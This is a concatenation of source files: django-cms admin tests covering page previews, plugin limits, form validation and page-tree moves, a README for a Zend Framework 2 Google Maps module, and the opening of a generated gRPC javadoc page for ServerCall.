response = self.admin_class.preview_page(request, page.pk, 'en')
self.assertEqual(response.status_code, 302)
self.assertEqual(response['Location'], '%s?%s&language=en' % (base_url, get_cms_setting('CMS_TOOLBAR_URL__EDIT_ON')))
current_site = Site.objects.create(domain='django-cms.org', name='django-cms')
page.site = current_site
page.save()
page.publish("en")
self.assertTrue(page.is_home)
response = self.admin_class.preview_page(request, page.pk, 'en')
self.assertEqual(response.status_code, 302)
self.assertEqual(response['Location'],
'http://django-cms.org%s?%s&language=en' % (base_url, get_cms_setting('CMS_TOOLBAR_URL__EDIT_ON')))
def test_too_many_plugins_global(self):
conf = {
'body': {
'limits': {
'global': 1,
},
},
}
admin_user = self.get_admin()
url = admin_reverse('cms_page_add_plugin')
with self.settings(CMS_PERMISSION=False, CMS_PLACEHOLDER_CONF=conf):
page = create_page('somepage', 'nav_playground.html', 'en')
body = page.placeholders.get(slot='body')
add_plugin(body, 'TextPlugin', 'en', body='text')
with self.login_user_context(admin_user):
data = {
'plugin_type': 'TextPlugin',
'placeholder_id': body.pk,
'plugin_language': 'en',
}
response = self.client.post(url, data)
self.assertEqual(response.status_code, HttpResponseBadRequest.status_code)
def test_too_many_plugins_type(self):
conf = {
'body': {
'limits': {
'TextPlugin': 1,
},
},
}
admin_user = self.get_admin()
url = admin_reverse('cms_page_add_plugin')
with self.settings(CMS_PERMISSION=False, CMS_PLACEHOLDER_CONF=conf):
page = create_page('somepage', 'nav_playground.html', 'en')
body = page.placeholders.get(slot='body')
add_plugin(body, 'TextPlugin', 'en', body='text')
with self.login_user_context(admin_user):
data = {
'plugin_type': 'TextPlugin',
'placeholder_id': body.pk,
'plugin_language': 'en',
'plugin_parent': '',
}
response = self.client.post(url, data)
self.assertEqual(response.status_code, HttpResponseBadRequest.status_code)
def test_edit_title_dirty_bit(self):
language = "en"
admin_user = self.get_admin()
page = create_page('A', 'nav_playground.html', language)
page_admin = PageAdmin(Page, None)
page_admin._current_page = page
page.publish("en")
draft_page = page.get_draft_object()
admin_url = reverse("admin:cms_page_edit_title_fields", args=(
draft_page.pk, language
))
post_data = {
'title': "A Title"
}
with self.login_user_context(admin_user):
self.client.post(admin_url, post_data)
draft_page = Page.objects.get(pk=page.pk).get_draft_object()
self.assertTrue(draft_page.is_dirty('en'))
def test_edit_title_languages(self):
language = "en"
admin_user = self.get_admin()
page = create_page('A', 'nav_playground.html', language)
page_admin = PageAdmin(Page, None)
page_admin._current_page = page
page.publish("en")
draft_page = page.get_draft_object()
admin_url = reverse("admin:cms_page_edit_title_fields", args=(
draft_page.pk, language
))
post_data = {
'title': "A Title"
}
with self.login_user_context(admin_user):
self.client.post(admin_url, post_data)
draft_page = Page.objects.get(pk=page.pk).get_draft_object()
self.assertTrue(draft_page.is_dirty('en'))
def test_page_form_leak(self):
language = "en"
admin_user = self.get_admin()
request = self.get_request('/', 'en')
request.user = admin_user
page = create_page('A', 'nav_playground.html', language, menu_title='menu title')
page_admin = PageAdmin(Page, site)
page_admin._current_page = page
edit_form = page_admin.get_form(request, page)
add_form = page_admin.get_form(request, None)
self.assertEqual(edit_form.base_fields['menu_title'].initial, 'menu title')
self.assertEqual(add_form.base_fields['menu_title'].initial, None)
class NoDBAdminTests(CMSTestCase):
@property
def admin_class(self):
return site._registry[Page]
def test_lookup_allowed_site__exact(self):
self.assertTrue(self.admin_class.lookup_allowed('site__exact', '1'))
def test_lookup_allowed_published(self):
self.assertTrue(self.admin_class.lookup_allowed('published', value='1'))
class PluginPermissionTests(AdminTestsBase):
def setUp(self):
self._page = create_page('test page', 'nav_playground.html', 'en')
self._placeholder = self._page.placeholders.all()[0]
def _get_admin(self):
User = get_user_model()
fields = dict(email="[email protected]", is_staff=True, is_active=True)
if (User.USERNAME_FIELD != 'email'):
fields[User.USERNAME_FIELD] = "admin"
admin_user = User(**fields)
admin_user.set_password('admin')
admin_user.save()
return admin_user
def _get_page_admin(self):
return admin.site._registry[Page]
def _give_permission(self, user, model, permission_type, save=True):
codename = '%s_%s' % (permission_type, model._meta.object_name.lower())
user.user_permissions.add(Permission.objects.get(codename=codename))
def _give_page_permission_rights(self, user):
self._give_permission(user, PagePermission, 'add')
self._give_permission(user, PagePermission, 'change')
self._give_permission(user, PagePermission, 'delete')
def _get_change_page_request(self, user, page):
return type('Request', (object,), {
'user': user,
'path': base.URL_CMS_PAGE_CHANGE % page.pk
})
def _give_cms_permissions(self, user, save=True):
for perm_type in ['add', 'change', 'delete']:
for model in [Page, Title]:
self._give_permission(user, model, perm_type, False)
gpp = GlobalPagePermission.objects.create(
user=user,
can_change=True,
can_delete=True,
can_change_advanced_settings=False,
can_publish=True,
can_change_permissions=False,
can_move_page=True,
)
gpp.sites = Site.objects.all()
if save:
user.save()
def _create_plugin(self):
plugin = add_plugin(self._placeholder, 'TextPlugin', 'en')
return plugin
def test_plugin_edit_wrong_url(self):
"""User tries to edit a plugin using a random url. 404 response returned"""
plugin = self._create_plugin()
_, normal_guy = self._get_guys()
if get_user_model().USERNAME_FIELD == 'email':
self.client.login(username='[email protected]', password='[email protected]')
else:
self.client.login(username='test', password='test')
self._give_permission(normal_guy, Text, 'change')
url = '%s/edit-plugin/%s/' % (admin_reverse('cms_page_edit_plugin', args=[plugin.id]), plugin.id)
response = self.client.post(url, dict())
self.assertEqual(response.status_code, HttpResponseNotFound.status_code)
self.assertTrue("Plugin not found" in force_text(response.content))
class AdminFormsTests(AdminTestsBase):
def test_clean_overwrite_url(self):
user = AnonymousUser()
user.is_superuser = True
user.pk = 1
request = type('Request', (object,), {'user': user})
with self.settings():
data = {
'title': 'TestPage',
'slug': 'test-page',
'language': 'en',
'overwrite_url': '/overwrite/url/',
'site': Site.objects.get_current().pk,
'template': get_cms_setting('TEMPLATES')[0][0],
'published': True
}
form = PageForm(data)
self.assertTrue(form.is_valid(), form.errors.as_text())
instance = form.save()
instance.permission_user_cache = user
instance.permission_advanced_settings_cache = True
Title.objects.set_or_create(request, instance, form, 'en')
form = PageForm(data, instance=instance)
self.assertTrue(form.is_valid(), form.errors.as_text())
def test_missmatching_site_parent_dotsite(self):
site0 = Site.objects.create(domain='foo.com', name='foo.com')
site1 = Site.objects.create(domain='foo2.com', name='foo.com')
parent_page = Page.objects.create(
template='nav_playground.html',
site=site0)
new_page_data = {
'title': 'Title',
'slug': 'slug',
'language': 'en',
'site': site1.pk,
'template': get_cms_setting('TEMPLATES')[0][0],
'reverse_id': '',
'parent': parent_page.pk,
}
form = PageForm(data=new_page_data, files=None)
self.assertFalse(form.is_valid())
self.assertIn(u"Site doesn't match the parent's page site",
form.errors['__all__'])
def test_form_errors(self):
new_page_data = {
'title': 'Title',
'slug': 'home',
'language': 'en',
'site': 10,
'template': get_cms_setting('TEMPLATES')[0][0],
'reverse_id': '',
}
form = PageForm(data=new_page_data, files=None)
self.assertFalse(form.is_valid())
site0 = Site.objects.create(domain='foo.com', name='foo.com', pk=2)
page1 = api.create_page("test", get_cms_setting('TEMPLATES')[0][0], "fr", site=site0)
new_page_data = {
'title': 'Title',
'slug': 'home',
'language': 'en',
'site': 1,
'template': get_cms_setting('TEMPLATES')[0][0],
'reverse_id': '',
'parent': page1.pk,
}
form = PageForm(data=new_page_data, files=None)
self.assertFalse(form.is_valid())
new_page_data = {
'title': 'Title',
'slug': '#',
'language': 'en',
'site': 1,
'template': get_cms_setting('TEMPLATES')[0][0],
'reverse_id': '',
}
form = PageForm(data=new_page_data, files=None)
self.assertFalse(form.is_valid())
new_page_data = {
'title': 'Title',
'slug': 'home',
'language': 'pp',
'site': 1,
'template': get_cms_setting('TEMPLATES')[0][0],
'reverse_id': '',
'parent':'',
}
form = PageForm(data=new_page_data, files=None)
self.assertFalse(form.is_valid())
page2 = api.create_page("test", get_cms_setting('TEMPLATES')[0][0], "en")
new_page_data = {
'title': 'Title',
'slug': 'test',
'language': 'en',
'site': 1,
'template': get_cms_setting('TEMPLATES')[0][0],
'reverse_id': '',
'parent':'',
}
form = PageForm(data=new_page_data, files=None)
self.assertFalse(form.is_valid())
page3 = api.create_page("test", get_cms_setting('TEMPLATES')[0][0], "en", parent=page2)
page3.title_set.update(path="hello/")
page3 = page3.reload()
new_page_data = {
'title': 'Title',
'slug': 'test',
'language': 'en',
'site': 1,
'template': get_cms_setting('TEMPLATES')[0][0],
'reverse_id': '',
'parent':'',
}
form = PageForm(data=new_page_data, files=None, instance=page3)
self.assertFalse(form.is_valid())
def test_reverse_id_error_location(self):
''' Test moving the reverse_id validation error to a field specific one '''
# this is the Reverse ID we'll re-use to break things.
dupe_id = 'p1'
curren_site = Site.objects.get_current()
create_page('Page 1', 'nav_playground.html', 'en', reverse_id=dupe_id)
page2 = create_page('Page 2', 'nav_playground.html', 'en')
# Assemble a bunch of data to test the page form
page2_data = {
'language': 'en',
'site': curren_site.pk,
'reverse_id': dupe_id,
'template': 'col_two.html',
}
form = AdvancedSettingsForm(
data=page2_data,
instance=page2,
files=None,
)
self.assertFalse(form.is_valid())
# reverse_id is the only item that is in __all__ as every other field
# has it's own clean method. Moving it to be a field error means
# __all__ is now not available.
self.assertNotIn('__all__', form.errors)
# In moving it to it's own field, it should be in form.errors, and
# the values contained therein should match these.
self.assertIn('reverse_id', form.errors)
self.assertEqual(1, len(form.errors['reverse_id']))
self.assertEqual([u'A page with this reverse URL id exists already.'],
form.errors['reverse_id'])
page2_data['reverse_id'] = ""
form = AdvancedSettingsForm(
data=page2_data,
instance=page2,
files=None,
)
self.assertTrue(form.is_valid())
admin_user = self._get_guys(admin_only=True)
# reset some of page2_data so we can use cms.api.create_page
page2 = page2.reload()
page2.site = curren_site
page2.save()
with self.login_user_context(admin_user):
# re-reset the page2_data for the admin form instance.
page2_data['reverse_id'] = dupe_id
page2_data['site'] = curren_site.pk
# post to the admin change form for page 2, and test that the
# reverse_id form row has an errors class. Django's admin avoids
# collapsing these, so that the error is visible.
resp = self.client.post(base.URL_CMS_PAGE_ADVANCED_CHANGE % page2.pk, page2_data)
self.assertContains(resp, '<div class="form-row errors field-reverse_id">')
def test_advanced_settings_endpoint(self):
admin_user = self.get_superuser()
site = Site.objects.get_current()
page = create_page('Page 1', 'nav_playground.html', 'en')
page_data = {
'language': 'en',
'site': site.pk,
'template': 'col_two.html',
}
path = admin_reverse('cms_page_advanced', args=(page.pk,))
with self.login_user_context(admin_user):
en_path = path + u"?language=en"
redirect_path = admin_reverse('cms_page_changelist') + '?language=en'
response = self.client.post(en_path, page_data)
self.assertRedirects(response, redirect_path)
self.assertEqual(Page.objects.get(pk=page.pk).template, 'col_two.html')
# Now switch it up by adding german as the current language
# Note that german has not been created as page translation.
page_data['language'] = 'de'
page_data['template'] = 'nav_playground.html'
with self.login_user_context(admin_user):
de_path = path + u"?language=de"
redirect_path = admin_reverse('cms_page_change', args=(page.pk,)) + '?language=de'
response = self.client.post(de_path, page_data)
# Assert user is redirected to basic settings.
self.assertRedirects(response, redirect_path)
# Make sure no change was made
self.assertEqual(Page.objects.get(pk=page.pk).template, 'col_two.html')
de_translation = create_title('de', title='Page 1', page=page.reload())
de_translation.slug = ''
de_translation.save()
# Now try again but slug is set to empty string.
page_data['language'] = 'de'
page_data['template'] = 'nav_playground.html'
with self.login_user_context(admin_user):
de_path = path + u"?language=de"
response = self.client.post(de_path, page_data)
# Assert user is not redirected because there was a form error
self.assertEqual(response.status_code, 200)
# Make sure no change was made
self.assertEqual(Page.objects.get(pk=page.pk).template, 'col_two.html')
de_translation.slug = 'someslug'
de_translation.save()
# Now try again but with the title having a slug.
page_data['language'] = 'de'
page_data['template'] = 'nav_playground.html'
with self.login_user_context(admin_user):
en_path = path + u"?language=de"
redirect_path = admin_reverse('cms_page_changelist') + '?language=de'
response = self.client.post(en_path, page_data)
self.assertRedirects(response, redirect_path)
self.assertEqual(Page.objects.get(pk=page.pk).template, 'nav_playground.html')
def test_advanced_settings_endpoint_fails_gracefully(self):
admin_user = self.get_superuser()
site = Site.objects.get_current()
page = create_page('Page 1', 'nav_playground.html', 'en')
page_data = {
'language': 'en',
'site': site.pk,
'template': 'col_two.html',
}
path = admin_reverse('cms_page_advanced', args=(page.pk,))
# It's important to test fields that are validated
# automatically by Django vs fields that are validated
# via the clean() method by us.
# Fields validated by Django will not be in cleaned data
# if they have an error so if we rely on these in the clean()
# method then an error will be raised.
# So test that the form short circuits if there's errors.
page_data['application_urls'] = 'TestApp'
page_data['site'] = '1000'
with self.login_user_context(admin_user):
de_path = path + u"?language=de"
response = self.client.post(de_path, page_data)
# Assert user is not redirected because there was a form error
self.assertEqual(response.status_code, 200)
page = page.reload()
# Make sure no change was made
self.assertEqual(page.application_urls, None)
self.assertEqual(page.site.pk, site.pk)
def test_create_page_type(self):
page = create_page('Test', 'static.html', 'en', published=True, reverse_id="home")
for placeholder in Placeholder.objects.all():
add_plugin(placeholder, TextPlugin, 'en', body='<b>Test</b>')
page.publish('en')
self.assertEqual(Page.objects.count(), 2)
self.assertEqual(CMSPlugin.objects.count(), 4)
superuser = self.get_superuser()
with self.login_user_context(superuser):
response = self.client.get(
"%s?copy_target=%s&language=%s" % (admin_reverse("cms_page_add_page_type"), page.pk, 'en'))
self.assertEqual(response.status_code, 302)
self.assertEqual(Page.objects.count(), 3)
self.assertEqual(Page.objects.filter(reverse_id="page_types").count(), 1)
page_types = Page.objects.get(reverse_id='page_types')
url = response.url if hasattr(response, 'url') else response['Location']
expected_url_params = QueryDict(
'target=%s&position=first-child&add_page_type=1©_target=%s&language=en' % (page_types.pk, page.pk))
response_url_params = QueryDict(urlparse(url).query)
self.assertDictEqual(expected_url_params, response_url_params)
response = self.client.get("%s?copy_target=%s&language=%s" % (
admin_reverse("cms_page_add_page_type"), page.pk, 'en'), follow=True)
self.assertEqual(response.status_code, 200)
# test no page types if no page types there
response = self.client.get(admin_reverse('cms_page_add'))
self.assertNotContains(response, "page_type")
# create out first page type
page_data = {
'title': 'type1', 'slug': 'type1', '_save': 1, 'template': 'static.html', 'site': 1,
'language': 'en'
}
response = self.client.post(
"%s?target=%s&position=first-child&add_page_type=1©_target=%s&language=en" % (
URL_CMS_PAGE_ADD, page_types.pk, page.pk
), data=page_data)
self.assertEqual(response.status_code, 302)
self.assertEqual(Page.objects.count(), 4)
self.assertEqual(CMSPlugin.objects.count(), 6)
response = self.client.get(admin_reverse('cms_page_add'))
self.assertContains(response, "page_type")
# no page types available if you use the copy_target
response = self.client.get("%s?copy_target=%s&language=en" % (admin_reverse('cms_page_add'), page.pk))
self.assertNotContains(response, "page_type")
def test_render_edit_mode(self):
from django.core.cache import cache
cache.clear()
homepage = create_page('Test', 'static.html', 'en', published=True)
Page.set_homepage(homepage)
for placeholder in Placeholder.objects.all():
add_plugin(placeholder, TextPlugin, 'en', body='<b>Test</b>')
user = self.get_superuser()
self.assertEqual(Placeholder.objects.all().count(), 4)
with self.login_user_context(user):
output = force_text(
self.client.get(
'/en/?%s' % get_cms_setting('CMS_TOOLBAR_URL__EDIT_ON')
).content
)
self.assertIn('<b>Test</b>', output)
self.assertEqual(Placeholder.objects.all().count(), 9)
self.assertEqual(StaticPlaceholder.objects.count(), 2)
for placeholder in Placeholder.objects.all():
add_plugin(placeholder, TextPlugin, 'en', body='<b>Test</b>')
output = force_text(
self.client.get(
'/en/?%s' % get_cms_setting('CMS_TOOLBAR_URL__EDIT_ON')
).content
)
self.assertIn('<b>Test</b>', output)
def test_tree_view_queries(self):
from django.core.cache import cache
cache.clear()
for i in range(10):
create_page('Test%s' % i, 'col_two.html', 'en', published=True)
for placeholder in Placeholder.objects.all():
add_plugin(placeholder, TextPlugin, 'en', body='<b>Test</b>')
user = self.get_superuser()
with self.login_user_context(user):
with self.assertNumQueries(FuzzyInt(12, 22)):
force_text(self.client.get(URL_CMS_PAGE))
def test_smart_link_published_pages(self):
admin, staff_guy = self._get_guys()
page_url = URL_CMS_PAGE_PUBLISHED # Not sure how to achieve this with reverse...
create_page('home', 'col_two.html', 'en', published=True)
with self.login_user_context(staff_guy):
multi_title_page = create_page('main_title', 'col_two.html', 'en', published=True,
overwrite_url='overwritten_url',
menu_title='menu_title')
title = multi_title_page.get_title_obj()
title.page_title = 'page_title'
title.save()
multi_title_page.save()
publish_page(multi_title_page, admin, 'en')
# Non ajax call should return a 403 as this page shouldn't be accessed by anything else but ajax queries
self.assertEqual(403, self.client.get(page_url).status_code)
self.assertEqual(200,
self.client.get(page_url, HTTP_X_REQUESTED_WITH='XMLHttpRequest').status_code
)
# Test that the query param is working as expected.
self.assertEqual(1, len(json.loads(self.client.get(page_url, {'q':'main_title'},
HTTP_X_REQUESTED_WITH='XMLHttpRequest').content.decode("utf-8"))))
self.assertEqual(1, len(json.loads(self.client.get(page_url, {'q':'menu_title'},
HTTP_X_REQUESTED_WITH='XMLHttpRequest').content.decode("utf-8"))))
self.assertEqual(1, len(json.loads(self.client.get(page_url, {'q':'overwritten_url'},
HTTP_X_REQUESTED_WITH='XMLHttpRequest').content.decode("utf-8"))))
self.assertEqual(1, len(json.loads(self.client.get(page_url, {'q':'page_title'},
HTTP_X_REQUESTED_WITH='XMLHttpRequest').content.decode("utf-8"))))
class AdminPageEditContentSizeTests(AdminTestsBase):
"""
System user count influences the size of the page edit page,
but the users are only 2 times present on the page
The test relates to extra=0
at PagePermissionInlineAdminForm and ViewRestrictionInlineAdmin
"""
def test_editpage_contentsize(self):
"""
Expected a username only 2 times in the content, but a relationship
between usercount and pagesize
"""
with self.settings(CMS_PERMISSION=True):
admin_user = self.get_superuser()
PAGE_NAME = 'TestPage'
USER_NAME = 'test_size_user_0'
current_site = Site.objects.get(pk=1)
page = create_page(PAGE_NAME, "nav_playground.html", "en", site=current_site, created_by=admin_user)
page.save()
self._page = page
with self.login_user_context(admin_user):
url = base.URL_CMS_PAGE_PERMISSION_CHANGE % self._page.pk
response = self.client.get(url)
self.assertEqual(response.status_code, 200)
old_response_size = len(response.content)
old_user_count = get_user_model().objects.count()
# create additionals user and reload the page
get_user_model().objects.create_user(username=USER_NAME, email=USER_NAME + '@django-cms.org',
password=USER_NAME)
user_count = get_user_model().objects.count()
more_users_in_db = old_user_count < user_count
# we have more users
self.assertTrue(more_users_in_db, "New users got NOT created")
response = self.client.get(url)
new_response_size = len(response.content)
page_size_grown = old_response_size < new_response_size
# expect that the pagesize gets influenced by the useramount of the system
self.assertTrue(page_size_grown, "Page size has not grown after user creation")
# usernames are only 2 times in content
text = smart_str(response.content, response.charset)
foundcount = text.count(USER_NAME)
# 2 forms contain usernames as options
self.assertEqual(foundcount, 2,
"Username %s appeared %s times in response.content, expected 2 times" % (
USER_NAME, foundcount))
class AdminPageTreeTests(AdminTestsBase):
def test_move_node(self):
admin_user, staff = self._get_guys()
page_admin = self.admin_class
alpha = create_page('Alpha', 'nav_playground.html', 'en', published=True)
beta = create_page('Beta', TEMPLATE_INHERITANCE_MAGIC, 'en', published=True)
gamma = create_page('Gamma', TEMPLATE_INHERITANCE_MAGIC, 'en', published=True)
delta = create_page('Delta', TEMPLATE_INHERITANCE_MAGIC, 'en', published=True)
# Current structure:
# <root>
# ⊢ Alpha
# ⊢ Beta
# ⊢ Gamma
# ⊢ Delta
# Move Beta to be a child of Alpha
data = {
'id': beta.pk,
'position': 0,
'target': alpha.pk,
}
with self.login_user_context(admin_user):
request = self.get_request(post_data=data)
response = page_admin.move_page(request, page_id=beta.pk)
data = json.loads(response.content.decode('utf8'))
self.assertEqual(response.status_code, 200)
self.assertEqual(data['status'], 200)
self.assertEqual(alpha.reload().get_descendants().count(), 1)
# Current structure:
# <root>
# ⊢ Alpha
# ⊢ Beta
# ⊢ Gamma
# ⊢ Delta
# Move Gamma to be a child of Beta
data = {
'id': gamma.pk,
'position': 0,
'target': beta.pk,
}
with self.login_user_context(admin_user):
request = self.get_request(post_data=data)
response = page_admin.move_page(request, page_id=gamma.pk)
data = json.loads(response.content.decode('utf8'))
self.assertEqual(response.status_code, 200)
self.assertEqual(data['status'], 200)
self.assertEqual(alpha.reload().get_descendants().count(), 2)
self.assertEqual(beta.reload().get_descendants().count(), 1)
# Current structure:
# <root>
# ⊢ Alpha
# ⊢ Beta
# ⊢ Gamma
# ⊢ Delta
# Move Delta to be a child of Beta
data = {
'id': delta.pk,
'position': 0,
'target': gamma.pk,
}
with self.login_user_context(admin_user):
request = self.get_request(post_data=data)
response = page_admin.move_page(request, page_id=delta.pk)
data = json.loads(response.content.decode('utf8'))
self.assertEqual(response.status_code, 200)
self.assertEqual(data['status'], 200)
self.assertEqual(alpha.reload().get_descendants().count(), 3)
self.assertEqual(beta.reload().get_descendants().count(), 2)
self.assertEqual(gamma.reload().get_descendants().count(), 1)
# Current structure:
# <root>
# ⊢ Alpha
# ⊢ Beta
# ⊢ Gamma
# ⊢ Delta
# Move Beta to the root as node #1 (positions are 0-indexed)
data = {
'id': beta.pk,
'position': 1,
}
with self.login_user_context(admin_user):
request = self.get_request(post_data=data)
response = page_admin.move_page(request, page_id=beta.pk)
data = json.loads(response.content.decode('utf8'))
self.assertEqual(response.status_code, 200)
self.assertEqual(data['status'], 200)
self.assertEqual(alpha.reload().get_descendants().count(), 0)
self.assertEqual(beta.reload().get_descendants().count(), 2)
self.assertEqual(gamma.reload().get_descendants().count(), 1)
# Current structure:
# <root>
# ⊢ Alpha
# ⊢ Beta
# ⊢ Gamma
# ⊢ Delta
# Move Beta to be a child of Alpha again
data = {
'id': beta.pk,
'position': 0,
'target': alpha.pk,
}
with self.login_user_context(admin_user):
request = self.get_request(post_data=data)
response = page_admin.move_page(request, page_id=beta.pk)
data = json.loads(response.content.decode('utf8'))
self.assertEqual(response.status_code, 200)
self.assertEqual(data['status'], 200)
self.assertEqual(alpha.reload().get_descendants().count(), 3)
self.assertEqual(beta.reload().get_descendants().count(), 2)
self.assertEqual(gamma.reload().get_descendants().count(), 1)
# Current structure:
# <root>
# ⊢ Alpha
# ⊢ Beta
# ⊢ Gamma
# ⊢ Delta
# Move Gamma to the root as node #1 (positions are 0-indexed)
data = {
'id': gamma.pk,
'position': 1,
}
with self.login_user_context(admin_user):
request = self.get_request(post_data=data)
response = page_admin.move_page(request, page_id=gamma.pk)
data = json.loads(response.content.decode('utf8'))
self.assertEqual(response.status_code, 200)
self.assertEqual(data['status'], 200)
self.assertEqual(alpha.reload().get_descendants().count(), 1)
self.assertEqual(beta.reload().get_descendants().count(), 0)
self.assertEqual(gamma.reload().get_descendants().count(), 1)
# Current structure:
# <root>
# ⊢ Alpha
# ⊢ Beta
# ⊢ Gamma
# ⊢ Delta
# Move Delta to the root as node #1 (positions are 0-indexed)
data = {
'id': delta.pk,
'position': 1,
}
with self.login_user_context(admin_user):
request = self.get_request(post_data=data)
response = page_admin.move_page(request, page_id=delta.pk)
data = json.loads(response.content.decode('utf8'))
self.assertEqual(response.status_code, 200)
self.assertEqual(data['status'], 200)
self.assertEqual(alpha.reload().get_descendants().count(), 1)
self.assertEqual(beta.reload().get_descendants().count(), 0)
self.assertEqual(gamma.reload().get_descendants().count(), 0)
# Current structure:
# <root>
# ⊢ Alpha
# ⊢ Beta
# ⊢ Delta
# ⊢ Gamma
# Move Gamma to be a child of Delta
data = {
'id': gamma.pk,
'position': 1,
'target': delta.pk,
}
with self.login_user_context(admin_user):
request = self.get_request(post_data=data)
response = page_admin.move_page(request, page_id=gamma.pk)
data = json.loads(response.content.decode('utf8'))
self.assertEqual(response.status_code, 200)
self.assertEqual(data['status'], 200)
self.assertEqual(alpha.reload().get_descendants().count(), 1)
self.assertEqual(beta.reload().get_descendants().count(), 0)
self.assertEqual(gamma.reload().get_descendants().count(), 0)
self.assertEqual(delta.reload().get_descendants().count(), 1)
# Final structure:
# <root>
# ⊢ Alpha
# ⊢ Beta
# ⊢ Delta
# ⊢ Gamma
| bsd-3-clause |
Leo1234/ocorrencia_beta | module/GMaps/README.md | 2629 | [](https://packagist.org/packages/gowsram/g-maps)
zf2-google-maps-
================
#### Google maps - ZF2 Module
A zend framework 2 module for generate google maps using gmaps api.
Installation
------------
### Main Setup
#### By cloning project
1. This module is available on [Packagist](https://github.com/gowsram/zf2-google-maps-).
In your project's `composer.json` use:
```json
{
"require": {
"php": ">=5.3.3",
"zendframework/zendframework": "*",
"gowsram/g-maps": "dev-master"
}
```
2. Or clone this project into your `./vendor/` directory.
Usage:
1. Edited your `application.config.php` file so that the `modules` array contains `GMaps`
```php
<?php
return array(
'modules' => array(
'Application',
//...
'GMaps',
),
//...
);
```
2. Add the Google Maps API key in either:
* your module's `config/module.config.php`
* the application `config/autoload/global.php`
* the application `config/autoload/local.php` (recommended to avoid publishing your API key)
```php
<?php
return array(
'GMaps'=> array(
'api_key' => 'Your Google Maps API Key',
),
//...
);
```
2. In the controller
```php
$markers = array(
'Mozzat Web Team' => '17.516684,79.961589',
'Home Town' => '16.916684,80.683594'
); //markers location with latitude and longitude
$config = array(
'sensor' => 'true', //true or false
'div_id' => 'map', //div id of the google map
'div_class' => 'grid_6', //div class of the google map
'zoom' => 5, //zoom level
'width' => "600px", //width of the div
'height' => "300px", //height of the div
'lat' => 16.916684, //lattitude
'lon' => 80.683594, //longitude
'animation' => 'none', //animation of the marker
'markers' => $markers //loading the array of markers
);
$map = $this->getServiceLocator()->get('GMaps\Service\GoogleMap'); //getting the google map object using service manager
$map->initialize($config); //loading the config
$html = $map->generate(); //genrating the html map content
return new ViewModel(array('map_html' => $html)); //passing it to the view
```
3. In the View
```php
<?php echo $this->map_html; ?>
```
| bsd-3-clause |
avinashc89/grpc_273 | core/build/docs/javadoc/io/grpc/ServerCall.html | 17270 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (1.8.0_40) on Sun Mar 22 23:44:27 UTC 2015 -->
<title>ServerCall (grpc-core 0.1.0-SNAPSHOT API)</title>
<meta name="date" content="2015-03-22">
<link rel="stylesheet" type="text/css" href="../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="ServerCall (grpc-core 0.1.0-SNAPSHOT API)";
}
}
catch(err) {
}
//-->
var methods = {"i0":6,"i1":6,"i2":6,"i3":6,"i4":6};
var tabs = {65535:["t0","All Methods"],2:["t2","Instance Methods"],4:["t3","Abstract Methods"]};
var altColor = "altColor";
var rowColor = "rowColor";
var tableTab = "tableTab";
var activeTableTab = "activeTableTab";
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../index-all.html">Index</a></li>
<li><a href="../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../io/grpc/Server.html" title="interface in io.grpc"><span class="typeNameLink">Prev Class</span></a></li>
<li><a href="../../io/grpc/ServerCall.Listener.html" title="class in io.grpc"><span class="typeNameLink">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../index.html?io/grpc/ServerCall.html" target="_top">Frames</a></li>
<li><a href="ServerCall.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li><a href="#nested.class.summary">Nested</a> | </li>
<li>Field | </li>
<li><a href="#constructor.summary">Constr</a> | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor.detail">Constr</a> | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">io.grpc</div>
<h2 title="Class ServerCall" class="title">Class ServerCall<ResponseT></h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li>java.lang.Object</li>
<li>
<ul class="inheritance">
<li>io.grpc.ServerCall<ResponseT></li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt><span class="paramLabel">Type Parameters:</span></dt>
<dd><code>ResponseT</code> - parsed type of response message.</dd>
</dl>
<dl>
<dt>Direct Known Subclasses:</dt>
<dd><a href="../../io/grpc/ServerInterceptors.ForwardingServerCall.html" title="class in io.grpc">ServerInterceptors.ForwardingServerCall</a></dd>
</dl>
<hr>
<br>
<pre>public abstract class <span class="typeNameLabel">ServerCall<ResponseT></span>
extends java.lang.Object</pre>
<div class="block">Encapsulates a single call received from a remote client. Calls may not simply be unary
request-response even though this is the most common pattern. Calls may stream any number of
requests and responses. This API is generally intended for use by generated handlers,
but applications may use it directly if they need to.
<p>Headers must be sent before any payloads, which must be sent before closing.
<p>No generic method for determining message receipt or providing acknowledgement is provided.
Applications are expected to utilize normal payload messages for such signals, as a response
naturally acknowledges its request.
<p>Methods are guaranteed to be non-blocking. Implementations are not required to be thread-safe.</div>
</li>
</ul>
</div>
